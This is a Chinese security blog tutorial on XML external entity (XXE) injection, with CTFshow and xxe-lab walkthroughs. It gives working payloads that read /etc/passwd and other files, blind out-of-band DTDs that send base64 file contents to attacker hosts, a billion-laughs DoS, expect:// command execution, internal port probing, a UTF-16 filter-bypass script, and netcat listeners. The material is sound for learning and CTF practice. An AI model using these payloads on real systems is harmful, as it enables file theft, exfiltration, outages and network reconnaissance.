浅析XML外部实体注入

quan9i 2022-09-02 10:11:00

前言

在进行系统学习过后,对XXE进行简单总结,希望能对正在学习XXE的师傅有所帮助

前置知识

XML

什么是XML

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。具体介绍如下

XML 指可扩展标记语言(EXtensible Markup Language)。
XML 的设计宗旨是传输数据,而不是显示数据。
XML 是 W3C 的推荐标准。
XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。
XML 语言没有预定义的标签。

XML的组成部分

XML的文档结构包含以下几种

1、XML声明
//示例: <?xml version="1.0" encoding="UTF-8"?>
2、DTD文档类型定义(可选):DTD文档类型定义是一套为了进行程序见的数据交换而建立的关于标记符的语法规则
3、文档元素

XML的构建模块模块组成与HTML类似,由下面几种组成

元素:XML文档的主要构建模块,可包含文本内容
//示例: <username>quan9i</username>
属性:提供元素的额外信息
//示例: <img src="1.jpg"/> src就是属性
实体:实体是用来定义普通文本的变量。实体引用是对实体的引用。
PCDATA(parsed character data):被解析的字符数据
ps:PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
CDATA(character data):字符数据
ps:CDATA 是不会被解析器解析的文本。

XML的作用

XML 被设计用来传输和存储数据,其焦点是数据的内容,旨在传输信息。
为什么需要XML呢,引用Qwzf师傅的话

现实生活中一些数据之间往往存在一定的关系。我们希望能在计算机中保存和处理这些数据的同时能够保存和处理他们之间的关系。XML就是为了解决这样的需求而产生数据存储格式。

XML语法规则

1、所有 XML 元素都须有关闭标签。
2、XML 标签对大小写敏感。
3、XML 必须正确地嵌套。
4、XML 文档必须有根元素。
5、XML 的属性值须加引号。
6、实体引用:在标签属性,以及对应的位置值可能会出现<>符号,但是这些符号在对应的XML中都是有特殊含义的,这时候我们必须使用对应的HTML实体来表示,
//示例:<符号对应的实体就是&lt;
7、在XML中,空格会被保留
//示例:<p>aa空格bb</p>,这个空格会被保留

举个例子

<?xml version="1.0" encoding="UTF-8"?> <!--xml文件的声明-->
<tttang>                               <!--根元素-->
<article category="CTF">               <!--tttang的子元素,category为属性-->
<title>XXE</title>                     <!--article的子元素-->
<author>quan9i</author>                <!--article的子元素-->
<year>2022</year>                      <!--article的子元素-->
<data>8.20</data>                      <!--article的子元素-->
</article>                             <!--article的结束-->
</tttang>                              <!--tttang的结束-->

此时对于XML规则有了一定的认识,我们就可以来了解一下DTD

DTD

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构,约束了xml文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
因为它既可以在内部引用,也可以在外部引用,这就造成了他有三种利用方式:内部引用外部引用以及内+外引用

内部引用

格式

<!DOCTYPE 根元素[定义内容]>

示例

<?xml version="1.0"?> <!--XML声明 -->
<!DOCTYPE note [ <!--定义了note元素-->
  <!ELEMENT note (to,from,heading,body)> <!--定义note元素下的四个元素-->
  <!ELEMENT to      (#PCDATA)> <!--定义了note的子元素to,(#PCDATA)表示元素to是字符串形式-->
  <!ELEMENT from    (#PCDATA)> <!--定义了note的子元素from,(#PCDATA)表示元素from是字符串形式-->
  <!ELEMENT heading (#PCDATA)> <!--定义了note的子元素heading,(#PCDATA)表示元素heading是字符串形式-->
  <!ELEMENT body    (#PCDATA)> <!--定义了note的子元素body,(#PCDATA)表示元素body是字符串形式-->
]>
<!-- 至此,上方是DTD文档定义-->
<note>
  <to>quan9i</to>
  <from>is</from>
  <heading>a</heading>
  <body>web xiao bai!</body>
</note>

外部引用

格式

<!DOCTYPE 根元素 SYSTEM "DTD文件路径">

示例:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>quan9i</to>
<from>is</from>
<heading>a</heading>
<body>web xiao bai!</body>
</note>

note.dtd文件的内容如下

<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to      (#PCDATA)>              
<!ELEMENT from    (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body    (#PCDATA)>
]>

内+外引用

格式

<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

DTD实体

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
也就是说,在DTD中的实体类型中,一般分为:内部实体和外部实体。
实体细分又分为一般实体和参数实体。

 一般实体:
 定义:<!ENTITY 实体名称 "实体内容">
 调用:&实体名称;

 参数实体:
 定义:<!ENTITY % 实体名 "实体内容”>
 调用:%实体名称;
内部实体

格式

<!ENTITY 实体名称 "实体的值">

示例

<?xml version="1.0"?>
<!DOCTYPE test[
    <!ENTITY article "XXE">
    <!ENTITY author "quan9i">
]>
<test><article>&article;</article><author>&author;</author></test>
外部实体

格式

<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

示例

<?xml version="1.0"?>
<!DOCTYPE test[
    <!ENTITY author SYSTEM "quan9i.xml">
]>
<test>&author;</test>

外部实体同时还支持http等协议,具体如下图
在这里插入图片描述
这里的话再举个例子

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
    <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<test>&file;</test>

同时由于实体又分两种,这里的话再给出一个例子了解一下参数实体
示例

<?xml version="1.0"?>
<!DOCTYPE test [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  %file;
]>

此时对于这些知识有了一定的了解,就可以来看一下XXE了

XXE

什么是XXE

XXE漏洞全称XML External Entity Injection ,即xml外部实体注入漏洞。

漏洞成因

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件。

漏洞危害

造成文件读取
命令执行
内网端口扫描
攻击内网网站
发起dos攻击等危害

XXE的利用姿势

读取任意文件

有回显

测试代码如下

<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
echo $str;
?>

对代码的解释如下

file_get_contents('php://input'):获取客户端输入的内容
new DOMDocument():初始化XML解析器
loadXML($xmlfile):加载客户端输入的XML内容
simplexml_import_dom($dom)获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE。
$xxe=$xml->xxe:获取SimpleXMLElement对象中的节点XXE
echo $str:输出XXE内容。

POST上传内容

<?xml version="1.0" encoding="utf-8"?>  //XML声明
<!DOCTYPE xml [   //定义xml元素
<!ENTITY quan9i SYSTEM "file:///c:/windows/system.ini"> //定义一般实体quan9i
]> 
<xml>
<xxe>&quan9i;</xxe> 
</xml>

在这里插入图片描述
尝试读取其他文件

<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE test [
<!ENTITY quan9i SYSTEM "file:///d:/flag.txt"> 
]> 
<test>
<xxe>&quan9i;</xxe> 
</test>

在这里插入图片描述

无回显

源码如下

<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
?>

构造payload如下

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://192.168.134.128/eval.xml">
%remote;%payload;%send;
]>

攻击机http://192.168.134.128eval.xml的内容为

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/flag.txt">
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.134.128/?content=%file;'>">

那么这个思路的话就是先调用remote,其实也就是包含这个攻击机上的文件,然后调用payload参数实体,此时就包含了file这个参数实体,然后此时就会去读取文件,那么此时send的内容就是http://192.168.134.128/?content=文件内容,我们此时调用send,就会得到文件内容
简单的说,就是

1、调用remote-->包含eval.xml
2、调用payload-->包含file参数实体-->读取文件内容(此时send中就是文件内容了)
3、调用send(将文件内容取出)

在这里插入图片描述
base64解码一下
在这里插入图片描述
这个是把读取文件写在攻击机上了,我们也可以写入本地,像这种
构造payload

<!DOCTYPE convert [ 
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/flag.txt">
<!ENTITY % remote SYSTEM "http://192.168.134.128/eval.xml">
%remote;%payload;%send;
]>

攻击机上eval.xml的内容

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.134.128/?content=%file;'>">

在这里插入图片描述
得到flag

DOS攻击(Denial of service)

通过XML外部实体注入,攻击者可以发送任意的HTTP请求,因为解析器会解析文档中的所有实体,所以如果实体声明层层嵌套的话,在一定数量上可以对服务器器造成DoS。
常见的XML恶意代码如下

<?xml version="1.0"?>

<!DOCTYPE lolz [

  <!ENTITY lol "dos">

  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">

  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">

  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">

  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">

  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">

  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">

  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">

]>

<lolz>&lol9;</lolz>

调用lol9实体参数的时候,会调用10个lol8实体参数,而每个lol8实体参数又包含十个lol7参数,此时就已经调用了10^2个参数实体了,往下会更加的多,这个1K不到的文件经过解析后会耗用大量内存,最终会占用到3G的内存,由此可见这个漏洞是十分危险的
一般我们可以这样构造来进行DOS攻击

<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

内网探测

当我们获取到一个内网ip地址时,如果有回显,可以在浏览器访问根据访问时间和回显来进行判断
存活的端口回显为HTTP request failed!
在这里插入图片描述
不存活的端口回显位failed to open stream
在这里插入图片描述
我们也可以利用bp来查看端口是否存活,示例payload如下

<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY file SYSTEM "http://10.244.80.20">
]>
<user><username>&file;</username><password>1</password></user>

而后利用burpsuite进行爆破,根据回显来判断出端口是否存活
在这里插入图片描述说明这个未存活
具体操作见下方实战。

命令执行

php的expect扩展可以直接执行系统命令,但遗憾的是这个扩展并不是默认安装的。
payload参考

<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>

回显

<file>uid=501(Apple) gid=20(staff) 
groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),
80(admin),81(_appserveradm),98(_lpadmin),401(com.apple.sharepoint.group.1),
33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),
399(com.apple.access_ssh)<file>

靶场实战

XXE-lab

github地址
https://github.com/c0ny1/xxe-lab

有回显

靶场自带的就是有回显的,源代码如下

<?php
$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);

    $username = $creds->username;
    $password = $creds->password;

    if($username == $USERNAME && $password == $PASSWORD){
        $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
    }else{
        $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
    }   
}catch(Exception $e){
    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
//echo $result;
?>

方法同之前即可,此时我们就找有回显的点,然后将我们想读取的文件作为实体参数的内容,调用实体参数,此时输出结果就可以得到文件内容
构造payload如下

<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE xml [ 
<!ENTITY quan9i SYSTEM "file:///c:/windows/system.ini">  
]> 
<user>
<username>&quan9i;</username> 
<password>1</password>
</user>

在这里插入图片描述
换个文件再试试
在这里插入图片描述

无回显

把靶场的输出信息给注释了就是无回显了
在这里插入图片描述
随便输入一下然后抓包
在这里插入图片描述

在这里插入图片描述
测试一下
在这里插入图片描述
此时是无回显的,这就对应了Blind XXE的情况,此时可以利用外带和伪协议来获取文件内容,具体方式如下
构造payload如下

<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY %file SYSTEM "php://filter/convert.base64-encode/resource=D:/phpStudy/PHPTutorial/WWW/xxe-lab-master/php_xxe/doLogin.php"
//参数实体声明中使用到了php的base64编码,这样是为了尽量避免由于文件内容的特殊性,产生xml解析器错误。
<!ENTITY %dtd SYSTEM "http://192.168.134.128/eval.xml">
%dtd;
%send;
]>

攻击机192.168.134.128eval.xml的内容

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.134.128/?content=%file;'>">
//%要进行实体编码&#x25
 %payload;

攻击方式简述
1、%dtd :包含eval.xml-->调用payload实体参数-->调用file实体参数-->查看指定文件
此时send实体参数中的内容就是文件内容
2、%send,调用send实体参数 ,此时文件内容就会被外带出来

在这里插入图片描述
将内容进行base64解码
在这里插入图片描述
得到文件内容

CTFshow

web 373

源码

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);   

不难发现这里的话输出的是这个$ctfshow,因此这里的话我们把引用一个元素放入这个里面就可以了,构造payload如下

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<quan9i>
<ctfshow>&xxe;</ctfshow>
</quan9i>

在这里插入图片描述

web 374

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

这里的话发现没回显了,需要用之前服务器外带的那种方法来获取文件内容,具体攻击方式如下
payload

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://124.222.255.142:8083/xxe.dtd">
%aaa;
]>
<xxe>1</xxe>

服务器文件内容

<!ENTITY % dtd "<!ENTITY &#x25; xxe  SYSTEM 'http://124.222.255.142:7777/?content=%file;'> ">
%dtd;
%xxe;

在这里插入图片描述
文件内容base64解码即可得到flag
原理也很简单,与之前类似

1、调用aaa参数实体-->包含dtd文件-->xml.dtd文件中包含了file参数实体-->file参数实体被调用,成功读取文件-->xml.dtd文件调用dtd参数实体,此时就包含了后面那些内容-->xml.dtd文件调用xxe参数实体,xxe参数实体中含有file参数实体,也就是文件内容,此时就会将内容给带出来
2、监听7777端口,获取这个内容,就相当于我们访问了文件,此时就可以达到我们外带的目的了

web 375

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

增添了过滤,过滤了内容<?xml version="1.0",我们这里同上关payload即可,不过我们这里的话我们在payload中进行调用,不在在文件中进行调用,payload如下

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % xxe SYSTEM "http://124.222.255.142:8083/xxe.dtd">
%xxe;
%dtd;
%send;
]>
<xxe>1</xxe>

文件内容为

<!ENTITY % dtd "<!ENTITY &#x25; send  SYSTEM 'http://124.222.255.142:7777/?content=%file;'> ">

先监听,后发包

nc -lvnp 7777

在这里插入图片描述
在这里插入图片描述
base64解码可得flag

web 376

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

相比上关增添了大小写过滤,我们同之前思路即可
在这里插入图片描述

web 377

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

过滤了http,这个时候我们设定一个特殊的编码方式(例:UTF-16),这样转换一下就可以实现绕过,这里的不话不用bp,用python脚本来攻击,脚本如下

import requests

url = 'http://95b7794d-1b60-4bfb-926c-e1bfbb955c8f.challenge.ctf.show/'
data = """<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % xxe SYSTEM "http://124.222.255.142:8083/xxe.dtd">
%xxe;
%dtd;
%send;
] >
<xxe>1</xxe>
"""
requests.post(url ,data=data.encode('utf-16'))
print("done!")

先监听,后运行脚本
在这里插入图片描述

web 378

在这里插入图片描述
界面类似xxe-lab,抓包看一下

在这里插入图片描述
一眼顶真,鉴定完毕,是有回显的XXE,使用file伪协议直接读取就可以

<!DOCTYPE test[
<!ENTITY  file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>1</password></user>

在这里插入图片描述

内网探测([NCTF2019]True XML cookbook)

在这里插入图片描述
界面有两个输入框,随便输入后抓包
尝试读取文件

<!DOCTYPE xml[
<!ENTITY quan9i SYSTEM "file:///flag">
]>
<user><username>&quan9i;</username><password>1</password></user>

在这里插入图片描述
发现没有flag文件,那探测探测其他的文件

<!DOCTYPE xml[
<!ENTITY quan9i SYSTEM "file:///etc/passwd">
]>
<user><username>&quan9i;</username><password>1</password></user>

在这里插入图片描述

<!DOCTYPE xml[
<!ENTITY quan9i SYSTEM "file:///etc/hosts">
]>
<user><username>&quan9i;</username><password>1</password></user>

在这里插入图片描述

<!DOCTYPE xml[
<!ENTITY quan9i SYSTEM "file:///proc/net/arp">
]>
<user><username>&quan9i;</username><password>1</password></user>

在这里插入图片描述
得到一个ip,进行内网探测在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
此时未爆破出来,说明可能不是这个,我们换file:///proc/net/fib_trie命令继续寻找ip在这里插入图片描述
继续内网探测
设置变量
在这里插入图片描述
设置次数
在这里插入图片描述
调大线程
在这里插入图片描述

在这里插入图片描述
得到flag

参考文献

https://xz.aliyun.com/t/6754
https://xz.aliyun.com/t/3357
https://xz.aliyun.com/t/6887
https://tttang.com/archive/1110/#toc_phpexpectrce

评论

M

Minority 2022-09-02 10:48:39

怎么有两个漏洞成因的标题啊~

quan9i 2022-09-02 11:13:30

之前在参考其他师傅的文章时写的漏洞成因,写重复了,后未进行仔细检查,导致了这个问题的出现,对此深感抱歉,感谢师傅提醒

quan9i

一个什么也不会的fw

twitter weibo github wechat

随机分类

Windows安全 文章:88 篇
其他 文章:95 篇
逆向安全 文章:70 篇
APT 文章:6 篇
软件安全 文章:17 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录